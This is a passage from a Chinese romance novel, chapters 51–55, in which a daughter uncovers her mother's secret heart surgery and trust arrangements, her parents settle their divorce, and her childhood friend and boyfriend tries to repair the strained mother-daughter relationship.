见他径直往楼上去,邬雪青顿了顿,声音不轻不重地问他:“你刚刚说什么手术?谁做手术?” 少顷,邵项均扶着栏杆回头,笑笑:“哪有说什么手术,是不是听岔了?” 见邬雪青面带疑惑,但没有再刨根问底,邵项均向她点了下头,朝楼上走了去。 邬雪青又没聋,她很确定自己听到的就是手术两个字,她疑惑的是邵项均的反应为什么是下意识否认。 书房内,灯光通明。 邬玉瑾戴着眼镜,正翻看着一份文件。 邵项均推门进入,道:“玉瑾,汤好了,先下来喝汤吧。” “嗯。”邬玉瑾应一声,但仍看着文件没有动。 邵项均走近,弯腰摘了她鼻梁上的眼镜,无奈说:“好了,把汤喝完了再看。” 邬玉瑾靠在椅背上,捏了捏鼻梁,叹了口气。 “又头疼了?” 邵项均站在她身后,给她揉了揉太阳穴。 “Shirley回来了吗?”邬玉瑾侧头问。 “刚回来,”邵项均低声说,“我刚提了一句你手术的事,好像被Shirley听到了,我只好打岔说她听错了,也不知道她有没有怀疑。” “不要紧,总归要知道的,”邬玉瑾再次叹气,抬手握住了他的手,“我能感觉到,我这身体一天不如一天了……” “胡说,手术做得很成功,医生也说以后只要定时复查就好了。” 邬玉瑾浅笑一下,将手上的文件放平在桌上。 那文件赫然是一份家族信托协议。 “项均,你别怪我,我这个人自私,总想给Shirley再多谋划一些,如果哪天我出了什么意外,你要替我多照顾Shirley一些,她这个孩子虽然任性,可本性是不错的。” “这不是自私,况且,玉瑾,我从不是图你的那些东西。”邵项均握紧了她的手,“我待Shirley就像待自己的孩子,这点不会变,但你不要说那种傻话,我不能没有你,这个家也不能没有你。” …… 邬雪青听不见书房里的话,但她心头的确种下了怀疑的种子。 首先是半个月前她和她妈吵架,按照常理,她妈应该直接把她丢去公司,可最后却是邵叔出来居中调和,让她和叶嘉木出去旅旅游散散心。她那鸡娃的妈竟然也就默认了让她出去玩的事。 其次是旅程途中他们总是单方面和叶嘉木联系。邬雪青翻翻自己和她妈的聊天记录,半个月凑不出两张截图。 最后是她回隅州的时候,她妈的脸色显然大不如前,助理那句“她不能吹风”也值得深思,如果只是因为更年期,什么时候更年期还不能吹风了? 疑点众多,只是她们母女之间一向剑拔弩张,争锋相对。邬雪青现在不想和她吵,两人面对面也无话可聊,即便有些疑点也就轻描淡写地盖了过去。 手术肯定是做了手术,但做的什么手术,严不严重? 以邵叔刚刚的反应,八成是她妈不想告诉她。 以邬玉瑾要强的性格,动手术这种事恐怕恨不得捂得严严实实的,好叫所有人都看不出她的虚弱。 邬雪青坐在电脑前转了一圈,盯着微信看了许久,她调出和她妈助理的微信界面,打下了一句:你有我妈九月份行程表吗? 等了两分钟,助理还没回复,邬雪青撤回了消息。 她点进她妈公司官网,搜了下最近的公司新闻。 和她妈有关的最近一条会议报道是前天,再上一条是九月初几,中间相隔了二十多天的时间。 在邬雪青搜索蛛丝马迹时,邬玉瑾手机也收到了一条消息。 助理汇报说:邬董,邬小姐刚刚问我要您九月的行程表,可以发吗? 第52章 邵项均就坐在邬玉瑾身边,自然也看到了这条消息,他 长眉微敛:“雪青问这个做什么?难不成是真是怀疑起了?” 邬玉瑾将汤勺放进碗内,倒不多紧张,反是淡淡笑道:“她要是连这点疑心都没有,那我才要担心了。” 她回了助理两个字:不给。 接到老板的回信,助理的心就放下了,揣着明白装糊涂地回复邬雪青:邬小姐,您刚刚是给我发了什么消息吗? 消息已经撤回,邬雪青回复他:没事。 于是此事堪堪揭过。 邬玉瑾有心要瞒她,想来轻易是绝对不会和她开诚布公说的。 邬雪青心里翻江倒海,面上倒是愈发地冷然沉静。 第二天中午,难得三个人在家吃了一顿饭。 阿姨使出浑身解数,将一袋松茸做出了十八般口味,即便邬雪青一贯吃得少,今天也还是多尝了几口菜。 她有意留意她妈,发觉邬玉瑾吃得更是极少,油盐稍重些的她都不尝。到她放下筷子时,邵项均还低劝了一声:“再多吃点吧。” 邬玉瑾神色疲乏,摆了摆手。 邬雪青筷子顿了顿,忽而放下筷子,拿起邬玉瑾的汤碗给她勺了两勺汤。 邬玉瑾和邵项均脸上同是错愕。 直到汤碗放在了面前,邬玉瑾才有几分不确信地道:“给我的?” “嗯。” 邬玉瑾直起身,端着汤碗道了声:“谢谢,你也多吃点。” 饭桌上一时沉默,母女俩竟客气得像做客一样,连邵项均都不免一阵尴尬。 邬玉瑾早年忙于工作,接近预产期时都还在开会,孩子生下来还没满月,她便又回了自己的“战场”。 邬雪青五岁前,她还是每晚都回家的,可有时在外地出差,实在赶不回,而她女儿又打小是个倔脾气,保姆半夜十一二点打来电话,说她不回来,小小姐说什么都不肯睡。 邬玉瑾一咬牙,便和保姆说,让她不要再等了,她以后也不回来了。 打那之后,保姆半夜给她打的电话就少了。 她那时事业正值上升期,忙得分身乏术,一侧重了,难免另一侧就轻了。 再后来,孩子已然跟她不亲了, 虽然不亲,十岁前都非常乖巧,就连保姆都直说小小姐比同龄的孩子更懂事。 十来岁的孩子,哪有不猫嫌狗弃,闹得家里鸡犬不宁的?但偏偏这个阶段的邬雪青最乖巧,早上起床,晚上睡觉,放学写作业,从来不用人招呼,最多不过是保姆偶尔和她说声,小小姐似乎有点太孤僻了。 小孩都有自己的性子,邬玉瑾也没多放在心上,虽想着有空带她出去玩玩,却也迟迟没有抽出空来。 再后来便是家里失火,她将小孩暂时安置在了父母家。 季延山结婚前就是个不折不扣的纨绔二世祖,婚后邬玉瑾也没指望他对家里有多上心。 但这纨绔成事不足,败事有余,不知何时季延山竟打着她的名号把小孩接去了他那儿住,等邬玉瑾知道时,小孩已经被他带走小半年了。 从前乖乖巧巧的女儿,自那之后便叛逆了起来,好像知道有亲爹撑腰了,说她一句她能回顶两句,邬玉瑾时常被气得头疼。 俗话说,树不修不直,人不修不才。邬玉瑾最是看不惯季延山身上那些自大、散漫、大手大脚的纨绔习性,偏偏这还都被女儿学了去,她想把女儿那些被教歪的思想纠正过来,可学好十年,学坏一天,母女间一来二去反倒成了冤家。 这些年别说给她端汤倒茶,母女俩能心平气和说两句话都算是奇迹了。 端着滚热的汤,一时倒让邬玉瑾受宠若惊。 她和缓了语气,和女儿聊了聊关于开云那个项目的事情,见邬雪青心里有章程,答得有条有理,便又放心了许多。 下午邬玉瑾还有事情,午休过后便出门去了,邬雪青站窗边瞧见他们车开走,她开门进了书房。 书房柜子里书很少,大多放着些收藏的瓷器文玩,不算多贵重,仅做装饰而已,整洁得如同样板房,连书桌都被收拾得干干净净。 邬雪青依次把书桌抽屉拉开,翻了翻里面的东西。里面都是些不大重要的文件,所以也没有上锁,翻不出她想要的东西。 忽而又想到什么,邬雪青仰头看向楼上。 书房这块区域上下打通,中间挑空,一侧连接了一条楼梯,上下两层都是藏品柜,二楼放着些轻便的字画绢帛。 她走上二楼,推了推二楼的柜子,没有推动,又拉了一下,亦没有拉动。沉思片刻,她用手指摩挲着柜体仔细看,终于在二楼尽头瞧见柜子间有条细细的,不易瞧出的缝。她把窄的那边柜子用力往墙里一推,当真推动了,露出了一个一米多宽的门洞,门里的灯也应声而亮。 暗门内的藏品就比放在外面那些装饰品要值钱多了,至低都是百万起价的古董。 邬雪青并不吃惊,她神色如常,正专注找自己想看的东西,忽然听见外面过道有急促的脚步声,她立刻转身将被推开的柜门合上,不多会儿,书房门被拧开了。 隔着木柜,她能清楚听到楼下的声音。 邬雪青倚着墙,微低着头,没有动,但也没有多紧张。 毕竟是她家,就算被人发现,也没什么说不过去的。 楼下人似乎是在打电话,邬雪青听出来说邵项均的声音,他说:“是放第三面柜子上面吗?我没看到茶叶,只有几个瓷瓶。” 没待多久,他应该找到要找的东西了,很快便又离开了。 邬雪青直起身,还是稍稍松了口气,毕竟解释起来麻烦,多一事不如少一事。 对那些古董她不感兴趣,目光划过后落在了一沓文件上。 她神色微凛,小心地翻开文件看,发现是一份家族信托文件,上面还有一些批注,因此应当不是定稿文件。 越看,邬雪青心越沉。 按文件内容来看,这完全是一份遗嘱。 邬雪青把文件放回原处,想找找有没有更明确的文件,便看见了角落里的保险柜。 那是一个密码和指纹双重锁的柜子,这信托文件大抵还没有正式签署,因此才随意地放在架子上,知道今天大概率是找不到更有用的东西了,邬雪青只得作罢,将物归原位,离开了书房。 在看到那份信托文件前,邬雪青心里还想着或许问题不严重,只是一个小手术,可如果不严重,邬玉瑾连退休的年纪都没到,又怎么会早早就把后事都安排好? 邬雪青和她妈相看两厌已久,远不香近也臭,但她从来没想过,有天邬玉瑾离开了怎么办。 这种可能仿佛晴天霹雳,劈得邬雪青大脑发木。 她回了房间,不断握紧又松开手指,调整着情绪和心率。 家里其他亲戚会知道她妈妈的病情吗? 不,不会,以邬玉瑾的性格,但凡还站得起来,都不会在家里露半点怯。 家庭医生? 就算知道,也肯定会帮邬玉瑾一块打掩护。 除了这些人还有谁会知道? 邬雪青从来没这么讨厌过邬玉瑾是铁蚌一个,长了嘴,却比哑巴还能藏。 中午吃过饭,叶嘉木习以为常地要将中午吃的饭菜拍照发给邬雪青,一打开聊天框发现她的状态内一直显示“对方正在输入”,然而输入了半天也没等到她发消息过来,叶嘉木干脆一个视频通话发了过去。 视频接通了,那头露出了邬雪青懵怔的眼神,她疑惑问:“你没在开车吗?” “在餐厅吃饭。”他举着手机转了一圈,给她看环境,又问她,“刚刚看你在输入中,怎么一直没发消息过来?” “是吗?”她好像才回过神,眉头皱了一下。 叶嘉木从她表情里察觉出了不对劲,追问:“怎么了?魂不守舍的?” “家里发生了一点事情……”她下意识含糊其辞,不愿多说。 “严重吗?”叶嘉木直切重点。 “或许,”她顿了顿,又多说了几句,“和我妈有关系,但我不知道严不严重。” 听到是和她妈妈有关系,叶嘉木大概猜到是哪件事了,他心微微落下,缓声道:“既然是和阿姨有关,为什么你不直接问她呢?” “你不知道我妈那个人的性格,我如果直接问她,她是绝对不会说的。” 邬雪青了解她妈就像了解自己一样清楚。从某些方面来说,她们母女俩的确很像。 “你都没问,又怎么知道她不会说?就算你问了,她不说,那也没什么损失,反倒还多了一层可能,何乐而不为呢?”他微微笑着。 他那一贯轻松而笃定的语气和神情让邬雪青兵荒马乱的情绪忽然安定了许多。 她跟着轻轻笑了一下,僵直了肩背也松软了许多,她轻声道:“你以为谁家都和你家一样,爸爸妈妈都那么好说话的。” “那我们换一下,你以后上我家去。”他戏谑说。 想到他爸爸妈妈那热情无比的样子,邬雪青抖了抖身上的鸡皮疙瘩……算了,她还是独立习惯了,真换成他爸妈那样无微不至的父母,她也受不住。 见她不吱声了,叶嘉木道:“你不用担心不习惯,我爸妈做梦都想再有个女儿,保证不会拿收拾我的鸡毛掸子对着你,指定每天嘘寒问暖,恨不得把你含在嘴里,捧在手里……” 见他越扯越远,邬雪青恼怒起来,瞪他道:“叶嘉木!” 她脸上那忧心忡忡的样子消失了,一生起气又鲜活过来了。叶嘉木眉眼弯弯,一副混不吝的笑模样:“害羞什么?总要做我爸妈的儿媳的。” 他这个人嘴里就没几句正经话! 邬雪青一下都不知道他们最开始是在说什么了,她耳朵烧得厉害,一想到他胡诌的什么女儿、儿媳的,一下脸上更烫了。不等他再胡掰下去,邬雪青直接挂断了视频,忿忿把他打进冷宫。 视频几分钟就戛然而止,叶嘉木意犹未尽。 他又发了几条消息过去,一生起气,邬雪青就不搭理他了。 言归正传,叶嘉木又打了一长串文字发过去。 他说:世界上很多问题都是有人想得多而有人说得少造成的,问问阿姨吧,话说出口,问清楚了,或许事情并没有你想得那么严重呢? 他又说:别害怕,不管发生什么,我们都一起面对。 发完这两条信息,他又找到了邬姨的微信,问道:邬姨,您有时间吗?方便通个电话吗? 第53章 电话很快便拨了过来。叶嘉木接通电话,先开口熟络道:“邬姨,最近身体还好吗?” 蓦地接到他的电话,邬玉瑾很是意外,语气很温和:“小叶啊,我一切都好,怎么想起给我打电话了,是有什么事情吗?” 叶嘉木笑道:“主要还是关心您的身体,您手术后恢复得还好吗?身体有没有哪里不舒服啊?” 邬玉瑾对叶嘉木的了解泛泛,不过两家是多年邻居,面上交道打得多,印象还不错,心里觉得是个稳重踏实的小伙。 光是这几句话就说得邬玉瑾通体舒畅,她微笑道:“术后恢复得不错,没有什么不好的,你呢?什么时候回隅州呢?” 俩人你来我往地寒暄了一阵,邬玉瑾也不着急,等着他说到正题。 唠了几分钟,叶嘉木话音一转,忽而说:“雪青最近在家还好吗?” 邬玉瑾眉峰微挑,心道说到正题上来,她笑吟吟地道:“她在家也一切都好,怎么?你们最近没联系了吗?” “不是没联系,恰好是有联系,所以我才担心她。”说到这,他轻叹了口气。 邬玉瑾倒一时不知道他葫芦里卖什么药了,顺着他的话题道:“哦?雪青怎么了?” “邬姨,您生病的事雪青应当是知道了,我知道您是怕雪青担心所以想缓缓再告诉她,可她是个心思特别细腻的姑娘,您不说,她是既担心您,又不好意思直接问您。” 邬玉瑾心道他倒是好厉害的口才,传话人最难做,一不小心就容易里外不是人,他先是一句话开门见山说明来由,又一下把她瞒着邬雪青动手术的事,说成了善意的暂时隐瞒,句句都从她们母女二人立场出发,既礼貌,意思也到了。 叶嘉木继续说:“我能理解您的想法,我们做孩子和父母的心思有时候都一样,总是想报喜不报忧,可有时候这种善意的隐瞒反而会造成很多的误会。雪青是个很会为人着想的姑娘,像您生病,她嘴上不说,其实心里特别担心您,反倒多想了。” 邬玉瑾听了一会儿,见他句句都提雪青,眉心微动,哂然问他:“这些话是Shirley来要你说的吗?” 叶嘉木坦然:“您觉得是吗?您要是觉得是,那只能说明您对雪青的了解还太少了。刚刚那些话可都是我的真心话,邬姨,我们两家认识这么多年了,我和雪青是真真实实从小一块长大的,我说句可能得罪您的话,我对她的了解,可能比您对她的了解还多一点。” 他这话已经不是带着潜台词了,是摆在明面上说了。 车已经开到目的地,邵项均正要开口,邬玉瑾摆了摆手,示意他先不要说话。 见对面暂不开口,叶嘉木便继续说了下去:“邬姨,我没有指责您的意思,当然我也没有立场指责您,我知道您这么努力工作也是为了给雪青创造更好的生活,但这么多年来,你们之间相处的时间的确太少了。雪青小时候是保姆阿姨带着,后来又是她姥姥姥爷带着,连学校活动都是保姆阿姨去参加的……邬姨,我说得直接点,雪青小时候过得一点都不开心,童年只有一次,缺失的部分是再也弥补不回来的。” 邬玉瑾语调平平,淡淡说:“谁小时候不是这么过来的?” 叶嘉木心道,我就不是! 不过话不能这么说,他认真道:“邬姨,既然您小时候也是这么过来的,那您那时候过得开心吗?如果重来一次,您还愿意经历一遍吗?” 回答他的是声筒那边的沉默。 他心想,话都说到这份上了,也就干脆得罪个彻底了:“一贯如此,不一定就是对的。一个孩子小时候最需要的不是钱,是父母的陪伴和教育,长大后,需要的已经不是陪伴和教育了,是父母能给的兜底的能力、信任和一个无条件支持的港湾。邬姨,您不觉得您对待雪青的方式反过来了吗?她现在长大了,已经能够支配自己的人生了,您应该给予她信任,而不是替她做决定。邬姨,她是个成年人了。” 邬玉瑾声音愈发冷,缓缓道:“你胆子倒是很大。” 叶嘉木笑了一声,仿佛听不懂她话语里薄淡的冷意,爽朗道:“还好还好,我家就是这样的,有话就直说,没有误会,我很爱我爸妈,我也相信他们爱我。但是邬姨,雪青不这么觉得,她从小就没有安全感。如果一个人从小就不确信父母是不是爱自己的,那他长大后一定会花费比常人更多的时间经历去修复自己的安全屏障。雪青小时候懂事乖巧,因为她那时候体谅你们的忙碌,她现在不是变叛逆了,她只是需要自己的人生空间了,也希望您能体谅她的成长,把她当作一个独立的个体看待。” “自古忠言逆耳,你说这些话,就不怕得罪了我?” “您都说是忠言了,说明您心底明白我说得有道理嘛!”他嬉笑道,“您要是不高兴了,等我回来向您登门道歉,保准打不还手,骂不还口!” 他这嬉皮笑脸的样子一下让邬玉瑾想起这小子小学时上房揭瓦的皮样子,不禁笑骂:“还打不还手,不知道你还有多少话等着顶长辈,真是没大没小!” 叶嘉木又做小伏低,耍宝卖乖一阵,哄得邬玉瑾连气都不知道往哪出,耳不听为净地打发走了他,挂了电话。 创业初期,叶嘉木自己干销售,各个城市跑业务,吃饱了闭门羹,锻炼出了三寸不烂之舌和金刚不坏的脸皮,对邬玉瑾这点佯怒还不至于诚惶诚恐。 电话挂断后,叶嘉木脸上的笑容才缓缓收了下去,轻叹口气。 那天邬雪青从酒店仓促逃离,他就后知后觉出了,家里对她造成的阴影已经远远不止是和父母吵两架这么简单了。 如果心结不解开,恐怕她一辈子都会无法和父母和解,和自己和解。 当局者迷,旁观者清。 他能做的有限,可尽管有限,哪怕顶着得罪长辈的可能,他也要说一说。 话说完了,人还在千里之外。 叶嘉木还是心焦起来,打开导航发动车,继续赶路回隅州。 “下车吧。” 挂断了电话,邬玉瑾同邵项均道。 “我去好吗?要不我还是回避回避……” “没什么好回避的,走吧。” 她一下车,早早等在茶楼门口的律师便迎了过来。 茶楼特殊包间,服务生为他们拉开沉重的实木高门,门内又分里外两间,隔着一道纱帘,帘外是茶艺师,帘内坐着两男一女三人。 帘子掀开,邬玉瑾先走进内,季延山撑着桌面站起身,笑呵呵道:“玉瑾啊,你怎么还和以前一样,约会总会迟到啊!” 站在季延山身边的女人脸色微有些尴尬,朝邬玉瑾点头道:“邬董。” 邬玉瑾没看季延山,视线在女人脸上微微打了个转,神情依然淡然,颔首接了这一礼。 季延山揽着女人肩膀,和邬玉瑾道:“这是周艳黎,那是我的律师庞江龙。玉瑾,不介绍介绍你身边这两位?” 不待邬玉瑾开口,邵项均便微一颔首,轻带了下邬玉瑾肩膀扶她坐下,面上客套道:“邵项均,久闻季董大名。” 跟在邬玉瑾身后的律师也言简意赅地做了个自我介绍。 六人落座,茶艺师端上茶,礼貌地退出了包间。 季延山打量着邬玉瑾和坐在她身边低调寡言的男人,言语有些刻薄地哂笑道:“晚上约个吃饭的地方多好,偏偏约在这小小的茶楼,玉瑾啊,你要是舍不得这一顿饭钱,我也是可以请你的。” “季延山,我们之间只有这一盏茶的情谊。”邬玉瑾手指轻叩桌面,声音不急不缓,“离婚协议已经拟好了,要是没异议,就抓紧签了,不要耽误大家时间,我晚上还要回家陪女儿吃饭,没空跟你扯闲篇。” 谈起女儿,季延山一侧脸颊皮笑肉不笑了下:“邬玉瑾,别得意,那是我的种,迟早她会跟我改回姓季的。” 邬玉瑾吹了吹茶盏,语气依然淡淡:“哦?那我拭目以待。” …… 邬雪青下午睡不着,索性写起了项目书,到将要晚饭的时间倒是困了,和阿姨说了声她要睡觉,不用做晚饭了。 阿姨自然无有不依,生怕吵着她,连在楼下走路的声音都放轻了。 邬玉瑾回来时,邬雪青还睡着,阿姨们也都不敢做事。 她将外套递给邵项均,听阿姨低声说完小姐的吩咐,她道:“做饭吧。” 阿姨们这才进了厨房。 邬玉瑾洗净了手,上了二楼,轻轻拧开了女儿房间的门。 秋季不冷不热,天气正适宜。 房间窗帘没有拉,窗户也打开着,秋风吹进来,邬雪青脑袋半埋在被子下,只露出一个圆溜溜的后脑勺。 邬玉瑾轻手轻脚地走到窗边,将窗户关上,拉上了一侧的窗帘。 她做得轻车熟路。 从前回家晚,她也是这样进女儿房间瞧几眼,摸摸女儿脑袋,再悄没声地退出房间,交代阿姨们只说她没回来过,第二天大早便离开。 不知不觉间,一只胳膊就能抱起来的女儿已经这么大了,大到她已经抱不动了,也不能再将她搂在怀里了。 她轻轻坐在女儿床侧,伸手扯了扯被子,将她有些空的后背掩好。 邬雪青睡得浅,一感觉到被子被扯了下就惊醒了,她眯着眼睛抬起头,对上了亲妈的目光——这简直比见鬼还惊悚,邬雪青差点弹起来,往后一仰,惊魂不定道:“妈?” “睡了多久了?”邬玉瑾问。 邬雪青脑袋还有点懵,发现外面天还没黑透,她不禁躁闷道:“我刚睡!” “哪有这个点睡觉的?晚上还怎么睡?”邬玉瑾颇不赞同。 邬雪青在心里翻了个白眼,不想同她吵,掩好脸上的不耐烦,只语气还有些生硬:“找我有事吗?” “没事就不能来看看你?”邬玉瑾反问。 邬雪青:“……?” 见她抓了抓头发,烦躁地准备下床,邬玉瑾拉了她手臂一下,放缓了声音说:“你躺着吧,妈跟你聊聊。” 不知道她这又是搞哪出,邬雪青顿了下,拉起被子坐靠在床头狐疑又警惕地看着她。 “我和你爸准备离婚了。”邬玉瑾说。 第54章 邬雪青的反应…… 反应是沉默。 邬玉瑾和她大眼瞪小眼片刻,意识到她完全没什么震惊的表现,邬玉瑾不免疑惑:“你就没什么想问的?” 要说震惊,也不能说完全没有,但比起“怎会如此”的震惊,还是“这么突然”的震惊更多一点。 几秒钟,邬雪青就已经把情绪消化好了,声音也很淡然:“你们这么多年一直分居,离和没离不都一样吗?” 邬玉瑾想过她可能会伤心,可能会生气,却没想到她的反应这么平静。 她身边也有朋友离婚,不管孩子多大,听到消息第一反应都是震惊,甚至大哭大闹,还有离婚多年的友人,孩子依然想撮合父母复合。 她又试探问了一遍:“你就没想过要我和你爸复合吗?” 邬雪青脸上露出一个堪称“匪夷所思”的表情:“复合?你们有好过吗?” 邬玉瑾:“……” 不知为何,她竟觉得在女儿面前生出几分挫败感。 “我和你爸在一起,当初是家里决定的。”邬玉瑾说。 “我知道啊,”顿了下,邬雪青看着自己亲妈,有些费解地问她,“但你就没有想过要反抗家里的安排吗?” “邬家和季家是强强联合,那时是大势所趋,邬家的航运业务必须要开拓,季家是助力。对你父亲来说也是一样,那时候物流还不如现在发达,季家的外贸生意离不开邬家的航运线,你爸想要在季家坐稳位置,只有笼络住我们邬家。在那种情形下,个人的喜好像砂砾一样不足一提。” 她说得轻描淡写,邬雪青无法评判,因为她不是当事人,也难以感同身受。 “我和你父亲结婚前只见过几面,他那时长得还算英俊,没有歪鼻子斜眼缺胳膊少腿,表面工夫也做得到位,虽然有些不太好的风评,但为人处事瞧着也不算是太差劲。” 这是二十多年来,她们母女俩第一次这样心平气和地聊起往事。 有些事邬雪青从别人口中听说过,但那和从亲妈口中说出来的感觉又不一样。 “所以你们后来为什么又分开住了?”邬雪青问。 “你爸是个骨子里很傲慢的人,当然,我年轻时脾气也不算很好,住一块,一天能从早吵到晚,后来有了你,我就让你爸滚出去住了。”邬玉瑾坦然道。 邬雪青:“……去父留子?” “也可以这么说。” 邬雪青很想笑,但作为“去父留子”的那个“子”,她不太能笑得出来。 她是季邬两家的孩子,所有人都觉得她出生就在金字塔,却鲜有人知道她独居的这座金字塔经年昏暗压抑,从无温情可言。 从出生到现在,她的记忆里从没有一家三口其乐融融的画面。从来没有得到过的东西,自然也无所谓失去,所以邬玉瑾说他们要离婚了,邬雪青心里生不出一丝的悲伤和失望。 她张了下嘴,最后只轻叹口气,说:“你们离婚挺好的,也算了结了孽缘,你和邵叔以后好好过吧。” “我和他不会再婚,也不会再生孩子,雪青,我能留下的所有东西都是你的。”邬玉瑾说。 邬雪青心脏非常非常细密地抽搐了一下,像琴弦被 拽了一下,嗡嗡发颤,她手掌揪紧了被面,语气依然平淡:“那些我不在乎。你有你的人生,没必要为了我而怎么样,我已经不是几岁的小孩了。” 邬玉瑾认真看着她。 她女儿的相貌俏丽,面颊饱满白皙,一双眼睛干净而冷清,已经到了邬玉瑾当初结婚时的年纪,但比她年轻时还要漂亮、娇妍。 小小的、像奶团子一样的小姑娘忽然长成了大姑娘,仔细想一想,邬玉瑾竟想不起女儿小时候太多的样子了。 邬玉瑾打量着她,忽而说:“你好像很少笑。” “哦,人家说少笑才不会长法令纹。”邬雪青胡乱回答。 邬玉瑾倒是被她这回答逗得笑了一下,眉眼一松:“你已经很好看了,你这个年纪,该要多笑笑的。” 难得,邬雪青竟然从她妈嘴里听到了一句对她认同的话,属实不易。 趁气氛松快不少,她看着邬玉瑾的脸色,顺势直接问:“你是不是生病了?” “是,”邬玉瑾坦然承认了,“心脏做了个小手术。” “心脏?”邬雪青声音扬了起来,震惊地看着她。 “不算大手术,今年体检查出来心脏主动脉狭窄,只是一个微创的小手术。” 见邬雪青眼神依旧怀疑,邬玉瑾索性侧过身,掀起左侧衣服下摆,将创口位置给他看。 左胸外侧有一道很小的十字缝合痕迹,缝得很干净,这几天的时间创口处也基本恢复正常,瞧不出任何淤青了。 邬雪青侧过身来瞧,唇有些抖,不禁问:“疼吗?” “不疼,打的全麻,术后都没什么感觉,比生你那时候可好多了,”邬玉瑾笑着将衣服放下,“生你是顺转剖,疼了我好一段时间。” “我是剖腹产?” “嗯,那天是你隔壁秦姨预产期,她正好发作了,我陪着去医院,可能跑得急了,一下羊水也破了,刚开始想能顺产就顺下来,但你心率不好,这才赶忙剖了。后来你秦姨还打趣说,你和小叶两个小家伙,这是着急要见面了。” 提起叶嘉木,邬雪青不知道为什么,就是感觉窘迫了起来,目光也不自觉地心虚飘忽起来。 邬玉瑾是过来人,一见她这表情,不觉心头微微一动,试探地问她道:“你和隔壁小叶……” 邬雪青像被针扎了屁股一样,一下坐直了身体:“好端端的,提他做什么?” 邬玉瑾语气正经:“你们是一块长大的情谊,小叶这孩子有担当,我瞧着是不错,你们也都到该谈婚论嫁的年纪了,真有来往,我也不阻拦,比别的什么不知底细的人要好。” “八字没一撇,什么谈婚论嫁啊!”邬雪青囧得想跑,她胡乱把被子一掀,爬下床穿鞋道,“我饿了,我要去吃饭了!” 从没见过女儿这么小孩的一面,邬玉瑾先是微微一错愕,随即不可遏制地笑了起来,笑得极其舒朗。 邬雪青…… 邬雪青想把叶嘉木爆锤一顿。 叶嘉木回到隅州已经是国庆后了。 国庆一结束,邬雪青开始正式朝九晚六打卡上班的社畜生活。第一天正式上班的体验还是挺新奇,上午只干了一件事,就是带着项目组开了第一个内部会,先认识了下各个岗位负责人的面孔。 中午她还体验了一下公司食堂。食堂品类倒是很多,还有应季水果,三菜一汤竟然只要二十来块钱,狠狠震惊了她一下。 当然,吃了第一口后,她就很有一种想把钱退回来的冲动了。 不过……怎么不算弥补了没吃过国内大学食堂的遗憾? 当天下午她和魏煦又碰了一下,粗略核算了一下新项目方案的预算成本。对她的方案,魏煦身为项目经理,态度不是很乐观,按她的新项目,落地至少要三个亿的资金投入。 邬雪青说:“三个亿而已,也不是很多吧?” 魏煦……他没话讲了。 万恶的富二代! 今天是项目组第一次正式碰头,自然得组局吃顿好的。 下午由邬雪青这个项目负责人牵头,助理安排餐厅,组内所有人一块去五星级酒店吃海鲜大餐。 六点整,邬雪青招呼其他小伙伴赶快下班,一块去吃饭,正好接到了叶嘉木打来的电话。 他问她:“下班了吗?” 叶嘉木昨天说他刚到湖北,邬雪青算了算,他应该要明天才能到隅州。 “你怎么知道我正准备下班了。” 她抬腿往电梯方向走。 电梯正好来了,团队的小伙伴招呼道:“Shirley,电梯到了!” 邬雪青捂着声筒快走了几步,问他:“你是准备去吃饭了吗?” “是啊,”他轻轻地笑,“你下班一般走哪儿?公司门口还是地下停车场?” “当然是门口,我也正准备带人出去吃大餐了。” 电梯门徐徐合上,缓缓下落。 电梯内信号似乎不太好,声音断断续续,她没听清楚电话那边在说什么,只好道:“我进电梯了,待会打给你。” 他们项目组应当是今天走得最早的一波,电梯都没怎么在其他楼层停就顺利地下到了一楼。 订的饭店有点远,他们组有十几个人,大多都没车,邬雪青点了几个小伙伴坐自己车,又分配了几个给魏煦载,剩下还有几个打车过去,回头走流程报销。 她安排得很好,结果一出公司大门就碰上了“意外”。 叶嘉木单手抱着一捧鲜花站在大门外的喷泉池旁边,一看见她还未说话眼睛就先笑了。 邬雪青脚步骤顿,眼睛蓦然睁大了。 她跑了起来,飞快冲进他怀里,叶嘉木张开手臂一把搂住她,要不是站得稳,能被直接撞进水池。 成功被逗乐了,他开怀大笑道:“几天不见,这么想我啊?” “你怎么今天就回来了!” “当然是知道你想我了。”他沉沉地笑,连胸腔也在闷闷地震动。 臭不要脸! 邬雪青脸上薄热,抬手锤了他两下。 叶嘉木一只手臂揽住她,换了只手拿花,温声道:“第一天上班,入职快乐。” 她今天也收到了一束花,是HR送来的入职花束,中规中矩的一束向日葵和洋桔梗,她放在办公室里没有带走。 他带来的这一大束色彩更鲜艳热烈,夺目盛放的黄玫瑰、雏菊和飞燕草拼成一束,就像橘子味的海盐汽水。 她接过花,踮脚在他唇上亲了一下,开心得满眼都是璀璨光芒:“谢谢,我很喜欢。” 身后传来一小阵起哄的呼声,叶嘉木抬头向她身后看去,笑眯眯问她:“那是你同事?” 差点把他们忘了…… 不过,算了,看都看见了。 她拉住叶嘉木胳膊,大大方方介绍道:“这是我男朋友。” 大家“呜”一声,纷纷道:“好帅啊,正好和我们一起去吃饭吧!” 叶嘉木的目光和站在人群最前方神情微怔的男人一触,他微微眯起眼睛,懒懒笑着,向对方点了下头。 第55章 叶嘉木的到来多增加了一台车,正好能把团队剩下几个一块载去饭店。 发现他开的是一辆新轿车,邬雪青问:“你回去过了吗?” “回了一趟我自己那,把行李收拾了。吃完饭我们再一起回去。” 后排上了三个小伙伴。叶嘉木给她拉开了副驾驶的门。 邬雪青才知道,“你不住在你爸妈那吗?” “偶尔回去,他们俩有自己的二人世界要过。” 邬雪青抖了抖身上的鸡皮疙瘩,逗得叶嘉木笑了一声。 她一上车就看见了挂在后视镜上的小香包,非常眼熟,她握住小香包闻了闻,确认就是她之前挂在越野车上的那个香囊。 叶嘉木给她关上门,进了驾驶室,瞧见她眼角眉梢都是得意地看着他,叶嘉木很淡定:“把安全带系好。” 她轻哼一声,扯过安全带扣上。 吃饭的餐厅在一栋高楼高层。他们预定了一个独立包厢,一整面大落地窗能眺望城市夜景,远远地,还能看见挂着彩灯的海岸线沙滩夜景。 团队的小伙伴们都很是兴奋,趴在落地窗边又是拍景又是自拍。 “他们和你倒是不见外了。”叶嘉木稀罕说。 “哼哼,也不看看我是谁,我这么平易近 人的人,自然是应该的。” 说起来,邬雪青还是从他的员工那里得到了一些工作规则的灵感。 今天第一次开会邬雪青就直接说了,在他们这个团队里,任何人有好的建议都能直接和她提,她不喜欢职场小团体和阿谀奉承那套,也不喜欢职场假努力,事情做完了就可以走。 有人问,那没到下班的点也可以走吗? 